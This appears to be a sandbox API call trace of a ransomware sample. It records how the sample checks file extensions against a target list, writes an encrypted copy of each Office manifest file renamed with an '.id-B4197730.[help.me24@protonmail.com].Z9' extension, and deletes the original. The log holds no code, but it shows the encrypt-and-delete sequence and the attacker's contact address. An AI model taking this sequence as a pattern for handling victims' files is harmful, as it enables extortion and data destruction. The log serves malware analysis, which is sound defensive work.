	[0077.163] WriteFile (in: hFile=0x2bc, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0077.164] SetEndOfFile (hFile=0x2bc) returned 1
	[0078.321] CloseHandle (hObject=0x2bc) returned 1
	[0078.449] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.450] SetEndOfFile (hFile=0x360) returned 1
	[0078.487] CloseHandle (hObject=0x360) returned 1
	[0078.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0078.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001b-0000-1000-0000000ff1ce.xml")) returned 1
	[0078.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0078.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0078.720] lstrlenW (lpString=".doc") returned 4
	[0078.720] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.720] lstrlenW (lpString=".docx") returned 5
	[0078.720] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.720] lstrlenW (lpString=".pdf") returned 4
	[0078.720] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.720] lstrlenW (lpString=".xls") returned 4
	[0078.720] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.720] lstrlenW (lpString=".xlsx") returned 5
	[0078.720] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.720] lstrlenW (lpString=".ppt") returned 4
	[0078.720] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0078.721] lstrlenW (lpString=".zip") returned 4
	[0078.721] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.721] lstrlenW (lpString=".rar") returned 4
	[0078.721] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.721] lstrlenW (lpString=".bz2") returned 4
	[0078.721] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.721] lstrlenW (lpString=".7z") returned 3
	[0078.721] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0078.749] lstrlenW (lpString=".dbf") returned 4
	[0078.749] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0078.749] lstrlenW (lpString=".1cd") returned 4
	[0078.749] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0078.749] lstrlenW (lpString=".jpg") returned 4
	[0078.749] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0078.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0078.761] lstrlenW (lpString=".doc") returned 4
	[0078.761] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.761] lstrlenW (lpString=".docx") returned 5
	[0078.761] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.761] lstrlenW (lpString=".pdf") returned 4
	[0078.761] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.761] lstrlenW (lpString=".xls") returned 4
	[0078.761] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.761] lstrlenW (lpString=".xlsx") returned 5
	[0078.761] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.761] lstrlenW (lpString=".ppt") returned 4
	[0078.762] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0078.762] lstrlenW (lpString=".zip") returned 4
	[0078.762] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.762] lstrlenW (lpString=".rar") returned 4
	[0078.762] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.762] lstrlenW (lpString=".bz2") returned 4
	[0078.762] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.762] lstrlenW (lpString=".7z") returned 3
	[0078.762] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0078.762] lstrlenW (lpString=".dbf") returned 4
	[0078.762] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0078.762] lstrlenW (lpString=".1cd") returned 4
	[0078.762] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001B-0000-1000-0000000FF1CE.xml") returned 104
	[0078.762] lstrlenW (lpString=".jpg") returned 4
	[0078.762] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.762] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0078.762] lstrlenW (lpString="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 53
	[0078.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0078.763] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=1261) returned 1
	[0078.763] CloseHandle (hObject=0x378) returned 1
	[0078.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0078.763] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0078.763] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.763] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.763] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0078.764] GetLastError () returned 0x0
	[0078.764] ReadFile (in: hFile=0x378, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x4ed, lpOverlapped=0x0) returned 1
	[0078.765] WriteFile (in: hFile=0x300, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x4f0, lpOverlapped=0x0) returned 1
	[0078.766] ReadFile (in: hFile=0x378, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.766] WriteFile (in: hFile=0x300, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0078.766] SetEndOfFile (hFile=0x300) returned 1
	[0078.766] CloseHandle (hObject=0x300) returned 1
	[0078.767] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.767] SetEndOfFile (hFile=0x378) returned 1
	[0078.768] CloseHandle (hObject=0x378) returned 1
	[0078.768] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0078.768] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 1
	[0078.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0078.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0078.769] lstrlenW (lpString=".doc") returned 4
	[0078.769] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.769] lstrlenW (lpString=".docx") returned 5
	[0078.769] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.769] lstrlenW (lpString=".pdf") returned 4
	[0078.769] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.769] lstrlenW (lpString=".xls") returned 4
	[0078.769] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.769] lstrlenW (lpString=".xlsx") returned 5
	[0078.769] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.769] lstrlenW (lpString=".ppt") returned 4
	[0078.769] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0078.769] lstrlenW (lpString=".zip") returned 4
	[0078.769] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.769] lstrlenW (lpString=".rar") returned 4
	[0078.769] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.769] lstrlenW (lpString=".bz2") returned 4
	[0078.769] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.769] lstrlenW (lpString=".7z") returned 3
	[0078.769] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0078.769] lstrlenW (lpString=".dbf") returned 4
	[0078.769] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0078.769] lstrlenW (lpString=".1cd") returned 4
	[0078.769] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0078.769] lstrlenW (lpString=".jpg") returned 4
	[0078.769] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0078.769] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0078.770] lstrlenW (lpString=".doc") returned 4
	[0078.770] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.770] lstrlenW (lpString=".docx") returned 5
	[0078.770] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.770] lstrlenW (lpString=".pdf") returned 4
	[0078.770] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.770] lstrlenW (lpString=".xls") returned 4
	[0078.770] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.770] lstrlenW (lpString=".xlsx") returned 5
	[0078.770] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.770] lstrlenW (lpString=".ppt") returned 4
	[0078.770] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0078.770] lstrlenW (lpString=".zip") returned 4
	[0078.770] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.770] lstrlenW (lpString=".rar") returned 4
	[0078.770] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.770] lstrlenW (lpString=".bz2") returned 4
	[0078.770] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.770] lstrlenW (lpString=".7z") returned 3
	[0078.770] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0078.770] lstrlenW (lpString=".dbf") returned 4
	[0078.770] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0078.770] lstrlenW (lpString=".1cd") returned 4
	[0078.770] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.770] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104
	[0078.770] lstrlenW (lpString=".jpg") returned 4
	[0078.770] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.770] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0078.770] lstrlenW (lpString="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 53
	[0078.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0078.771] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=9216) returned 1
	[0078.771] CloseHandle (hObject=0x378) returned 1
	[0078.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0078.771] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0078.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0078.771] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.771] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.771] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0078.771] GetLastError () returned 0x0
	[0078.771] ReadFile (in: hFile=0x378, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x2400, lpOverlapped=0x0) returned 1
	[0078.773] WriteFile (in: hFile=0x300, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x2410, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x2410, lpOverlapped=0x0) returned 1
	[0078.774] ReadFile (in: hFile=0x378, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0078.774] WriteFile (in: hFile=0x300, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x13e, lpOverlapped=0x0) returned 1
	[0078.774] SetEndOfFile (hFile=0x300) returned 1
	[0078.774] CloseHandle (hObject=0x300) returned 1
	[0078.775] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.775] SetEndOfFile (hFile=0x378) returned 1
	[0078.776] CloseHandle (hObject=0x378) returned 1
	[0078.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0078.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 1
	[0078.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0078.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0078.777] lstrlenW (lpString=".doc") returned 4
	[0078.777] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.777] lstrlenW (lpString=".docx") returned 5
	[0078.777] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.777] lstrlenW (lpString=".pdf") returned 4
	[0078.777] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.777] lstrlenW (lpString=".xls") returned 4
	[0078.777] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.777] lstrlenW (lpString=".xlsx") returned 5
	[0078.777] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.777] lstrlenW (lpString=".ppt") returned 4
	[0078.777] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0078.777] lstrlenW (lpString=".zip") returned 4
	[0078.777] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.777] lstrlenW (lpString=".rar") returned 4
	[0078.777] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.777] lstrlenW (lpString=".bz2") returned 4
	[0078.777] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.777] lstrlenW (lpString=".7z") returned 3
	[0078.777] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0078.777] lstrlenW (lpString=".dbf") returned 4
	[0078.777] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0078.777] lstrlenW (lpString=".1cd") returned 4
	[0078.777] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0078.777] lstrlenW (lpString=".jpg") returned 4
	[0078.777] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0078.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0078.778] lstrlenW (lpString=".doc") returned 4
	[0078.778] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0078.778] lstrlenW (lpString=".docx") returned 5
	[0078.778] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0078.778] lstrlenW (lpString=".pdf") returned 4
	[0078.778] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0078.778] lstrlenW (lpString=".xls") returned 4
	[0078.778] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0078.778] lstrlenW (lpString=".xlsx") returned 5
	[0078.778] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0078.778] lstrlenW (lpString=".ppt") returned 4
	[0078.778] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0078.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0078.778] lstrlenW (lpString=".zip") returned 4
	[0078.778] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0078.778] lstrlenW (lpString=".rar") returned 4
	[0078.778] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0078.778] lstrlenW (lpString=".bz2") returned 4
	[0078.778] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0078.778] lstrlenW (lpString=".7z") returned 3
	[0078.778] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0078.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0078.778] lstrlenW (lpString=".dbf") returned 4
	[0078.778] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0078.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0078.778] lstrlenW (lpString=".1cd") returned 4
	[0078.778] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0078.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0078.778] lstrlenW (lpString=".jpg") returned 4
	[0078.778] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0078.778] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0078.779] lstrlenW (lpString="AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml") returned 53
	[0078.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0078.779] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=1261) returned 1
	[0078.779] CloseHandle (hObject=0x378) returned 1
	[0078.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml")) returned 0x220
	[0078.779] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0409-1000-0000000FF1CE.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0409-1000-0000000ff1ce.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
